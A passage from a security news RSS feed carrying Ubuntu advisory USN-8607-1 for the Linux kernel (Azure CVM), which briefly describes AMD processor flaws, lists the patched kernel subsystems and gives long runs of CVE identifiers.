CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46043,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068,
CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083,
CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089,
CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113,
CVE-2026-46114, CVE-2026-46115, CVE-2026-46116, CVE-2026-46117,
CVE-2026-46119, CVE-2026-46120, CVE-2026-46121, CVE-2026-46122,
CVE-2026-46123, CVE-2026-46124, CVE-2026-46125, CVE-2026-46126,
CVE-2026-46127, CVE-2026-46128, CVE-2026-46129, CVE-2026-46131,
CVE-2026-46132, CVE-2026-46133, CVE-2026-46135, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46185, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191,
CVE-2026-46193, CVE-2026-46194, CVE-2026-46195, CVE-2026-46196,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46199, CVE-2026-46200,
CVE-2026-46201, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46211,
CVE-2026-46212, CVE-2026-46214, CVE-2026-46218, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227,
CVE-2026-46229, CVE-2026-46230, CVE-2026-46231, CVE-2026-46232,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46235, CVE-2026-46236,
CVE-2026-46238, CVE-2026-46241, CVE-2026-46243, CVE-2026-46244,
CVE-2026-46246, CVE-2026-46247, CVE-2026-46249, CVE-2026-46250,
CVE-2026-46251, CVE-2026-46253, CVE-2026-46254, CVE-2026-46255,
CVE-2026-46259, CVE-2026-46260, CVE-2026-46261, CVE-2026-46265,
CVE-2026-46266, CVE-2026-46267, CVE-2026-46270, CVE-2026-46273,
CVE-2026-46274, CVE-2026-46280, CVE-2026-46282, CVE-2026-46285,
CVE-2026-46286, CVE-2026-46287, CVE-2026-46289, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-46328, CVE-2026-52911, CVE-2026-52920,
CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039,
CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084,
CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115,
CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126,
CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287,
CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304,
CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862,
CVE-2026-63865, CVE-2026-64018, CVE-2026-64034)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8607-1: Linux kernel (Azure CVM) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691497/unix-server/usn-8607-1-linux-kernel-azure-cvm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691497/unix-server/usn-8607-1-linux-kernel-azure-cvm-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:40 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - RNBD block device driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - Broadcom VK accelerator driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MOST (Media Oriented Systems Transport) drivers;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Performance monitor drivers;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Power supply drivers;
  - RapidIO drivers;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - MediaTek SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - ChipIdea USB driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - DesignWare USB3 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Virtio Host (VHOST) subsystem;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - JFS file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - RCU subsystem;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 9P file system network protocol;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - KCM (Kernel Connection Multiplexor) sockets driver;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Landlock security;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175,
CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152,
CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229,
CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269,
CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286,
CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292,
CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304,
CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104,
CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23171, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23226, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23230, CVE-2026-23233, CVE-2026-23234,
CVE-2026-23235, CVE-2026-23236, CVE-2026-23237, CVE-2026-23238,
CVE-2026-23241, CVE-2026-23242, CVE-2026-23243, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23249, CVE-2026-23253,
CVE-2026-23255, CVE-2026-23266, CVE-2026-23267, CVE-2026-23270,
CVE-2026-23271, CVE-2026-23272, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23278, CVE-2026-23279, CVE-2026-23281, CVE-2026-23284,
CVE-2026-23285, CVE-2026-23286, CVE-2026-23287, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23292, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23302,
CVE-2026-23303, CVE-2026-23304, CVE-2026-23306, CVE-2026-23307,
CVE-2026-23308, CVE-2026-23310, CVE-2026-23312, CVE-2026-23313,
CVE-2026-23315, CVE-2026-23317, CVE-2026-23318, CVE-2026-23319,
CVE-2026-23321, CVE-2026-23324, CVE-2026-23325, CVE-2026-23330,
CVE-2026-23334, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23343, CVE-2026-23347, CVE-2026-23352,
CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396,
CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401,
CVE-2026-23412, CVE-2026-23413, CVE-2026-23414, CVE-2026-23418,
CVE-2026-23419, CVE-2026-23420, CVE-2026-23426, CVE-2026-23428,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23440,
CVE-2026-23441, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446,
CVE-2026-23447, CVE-2026-23448, CVE-2026-23449, CVE-2026-23450,
CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31402, CVE-2026-31403, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31412,
CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417,
CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423,
CVE-2026-31424, CVE-2026-31425, CVE-2026-31426, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31429, CVE-2026-31430, CVE-2026-31432,
CVE-2026-31433, CVE-2026-31436, CVE-2026-31438, CVE-2026-31439,
CVE-2026-31440, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31448, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451,
CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474,
CVE-2026-31476, CVE-2026-31477, CVE-2026-31478, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31607, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617,
CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623,
CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627,
CVE-2026-31628, CVE-2026-31629, CVE-2026-31634, CVE-2026-31637,
CVE-2026-31638, CVE-2026-31639, CVE-2026-31642, CVE-2026-31645,
CVE-2026-31646, CVE-2026-31648, CVE-2026-31649, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31657, CVE-2026-31658,
CVE-2026-31659, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31668,
CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31682, CVE-2026-31683, CVE-2026-31684, CVE-2026-31685,
CVE-2026-31686, CVE-2026-31687, CVE-2026-31689, CVE-2026-31693,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43011,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43037,
CVE-2026-43038, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043,
CVE-2026-43044, CVE-2026-43046, CVE-2026-43047, CVE-2026-43049,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43056, CVE-2026-43057, CVE-2026-43058, CVE-2026-43059,
CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43064,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43085, CVE-2026-43086,
CVE-2026-43088, CVE-2026-43089, CVE-2026-43091, CVE-2026-43092,
CVE-2026-43093, CVE-2026-43094, CVE-2026-43098, CVE-2026-43099,
CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43107,
CVE-2026-43109, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43114, CVE-2026-43117, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43123, CVE-2026-43124, CVE-2026-43128,
CVE-2026-43129, CVE-2026-43130, CVE-2026-43132, CVE-2026-43133,
CVE-2026-43134, CVE-2026-43135, CVE-2026-43136, CVE-2026-43137,
CVE-2026-43139, CVE-2026-43140, CVE-2026-43141, CVE-2026-43143,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43150, CVE-2026-43152, CVE-2026-43153, CVE-2026-43156,
CVE-2026-43157, CVE-2026-43158, CVE-2026-43159, CVE-2026-43162,
CVE-2026-43163, CVE-2026-43167, CVE-2026-43168, CVE-2026-43169,
CVE-2026-43170, CVE-2026-43171, CVE-2026-43173, CVE-2026-43175,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43185, CVE-2026-43186, CVE-2026-43187, CVE-2026-43189,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43199,
CVE-2026-43200, CVE-2026-43201, CVE-2026-43202, CVE-2026-43203,
CVE-2026-43205, CVE-2026-43206, CVE-2026-43207, CVE-2026-43209,
CVE-2026-43211, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218,
CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225,
CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231,
CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238,
CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244,
CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249,
CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253,
CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43265, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43271,
CVE-2026-43273, CVE-2026-43275, CVE-2026-43277, CVE-2026-43278,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43288, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295,
CVE-2026-43296, CVE-2026-43297, CVE-2026-43300, CVE-2026-43302,
CVE-2026-43304, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43317, CVE-2026-43318,
CVE-2026-43319, CVE-2026-43320, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43341, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43372, CVE-2026-43373, CVE-2026-43377,
CVE-2026-43378, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43383, CVE-2026-43384, CVE-2026-43386, CVE-2026-43387,
CVE-2026-43395, CVE-2026-43397, CVE-2026-43405, CVE-2026-43406,
CVE-2026-43407, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43414, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43493,
CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43499,
CVE-2026-43501, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45845, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
